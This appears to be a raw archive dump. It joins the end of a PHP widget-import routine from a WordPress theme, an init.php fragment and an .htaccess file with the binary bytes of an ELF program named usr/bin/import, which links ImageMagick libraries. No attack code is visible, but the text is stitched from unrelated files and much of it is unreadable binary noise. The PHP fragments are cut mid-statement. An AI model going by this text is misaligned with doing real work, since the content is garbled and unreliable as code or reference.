$id_base, $single_widget_instances ); // Assign widget instance to sidebar $sidebars_widgets = get_option( 'sidebars_widgets' ); // which sidebars have which widgets, get fresh every time $new_instance_id = $id_base . '-' . $new_instance_id_number; // use ID number from new widget instance $sidebars_widgets[ $use_sidebar_id ][] = $new_instance_id; // add new instance to sidebar update_option( 'sidebars_widgets', $sidebars_widgets ); // save the amended data // Success message` if ( $sidebar_available ) { $widget_message_type = 'success'; $widget_message = esc_html__( 'Imported', 'foxiz-core' ); } else { $widget_message_type = 'warning'; $widget_message = esc_html__( 'Imported to Inactive', 'foxiz-core' ); } } // Result for widget instance $results[ $sidebar_id ]['widgets'][ $widget_instance_id ]['name'] = isset( $available_widgets[ $id_base ]['name'] ) ? $available_widgets[ $id_base ]['name'] : $id_base; // widget name or ID if name not available (not supported by site) $results[ $sidebar_id ]['widgets'][ $widget_instance_id ]['title'] = ! empty( $widget->title ) ? $widget->title : esc_html__( 'No Title', 'foxiz-core' ); // show "No Title" if widget instance is untitled $results[ $sidebar_id ]['widgets'][ $widget_instance_id ]['message_type'] = $widget_message_type; $results[ $sidebar_id ]['widgets'][ $widget_instance_id ]['message'] = $widget_message; } } $this->flag_as_imported[ strval( $this->directory ) ]['widgets'] = true; do_action( 'rb_importer_after_widgets', $this->directory, $this->main_path ); // Return results return $results; } } } init.php000064400000002542147207153120006225 0ustar00main_path = $data['path']; }; $this->content_demo = $data['content']; $this->content_pages = $data['pages']; $this->widgets = trailingslashit( RB_API_URL ) . $data['widgets']; $this->theme_options_file = trailingslashit( RB_API_URL ) . $data['theme_options']; $this->categories_file = trailingslashit( RB_API_URL ) . $data['categories']; $this->directory = $data['directory']; $this->theme_option_name = $data['theme_option_name']; $this->selection_data = $data; parent::__construct(); } } }.htaccess000064400000001626147207153120006351 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] usr/bin/import000075500000016060147207247220007377 0ustar00ELF>@@@8 @@@@@@88@8@@@  ` `|   ` `TT@T@DDPtdp p @p @44QtdRtd ` `/lib64/ld-linux-x86-64.so.2GNU GNU:V͑04FN@L  @ "к|CEqX/ hBS@p`l`l`) @zT @libMagickCore-6.Q16.so.6__gmon_start___initMagickCoreTerminusAcquireImageInfoAcquireExceptionInfoMagickCoreGenesis_finiDestroyImageInfoDestroyExceptionInfolibMagickWand-6.Q16.so.6ImportImageCommandMagickCommandGenesisliblcms2.so.2libxml2.so.2libfontconfig.so.1libfreetype.so.6libXext.so.6libXt.so.6liblzma.so.5libbz2.so.1libz.so.1libltdl.so.7libSM.so.6libICE.so.6libX11.so.6libgomp.so.1libm.so.6libpthread.so.0libc.so.6__libc_start_main_edata__bss_start_endGLIBC_2.2.5ui `` `(`0` 8`@`H`P`X``` HHU Ht3H5B %D @%B h%: h%2 h%* h%" h% h% h%  hp% h`% h PAUAATIUSHI<$HIE1LD@HHiHA>H1EH[]A\A]1I^HHPTIP @H @Hǀ@@w`UH-p`HHw]øHt]p`p`UH-p`HHHH?HHu]úHt]Hƿp`= uUH~] @H=H tHtU `H]{sAWAAVIAUIATL% UH- SL)1HHHtLLDAHH9uH[]A\A]A^A_Ðf.HH;4PPp(zRx **zRx $FJ w?;*3$"4D`rBEI A(D0V(A ABBD|eBEE E(H0H8M@l8A0A(B BBB @ @&3>KWany @ T @ ` `o@X@@  `@@ op@ooP@ `@@@@@&@6@F@V@f@import.debug&7zXZִF!t/]?Eh=ڊ̓N &vΚ5L.0+n~2lz/* `FaP7 t`n0GtFYs>!74hUW2D?G~{j@Er)|$cgpBɾOZ|gw˿4RLSqbPM3V9Wk|shV>-ڈGv K ş n F)K~F+k_drW&f))RfzAZI_D+f(GF1L]aY#7-3,1 5,_gYZ.shstrtab.interp.note.ABI-tag.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.jcr.dynamic.got.got.plt.data.bss.gnu_debuglink.gnu_debugdata 8@8T@T !t@t$4o@<> @FX@XNoP@P [op@p j@tB@~@y@@ T @T ` @` p @p 4 @  `  `  `  ` ``hh`hl`ll\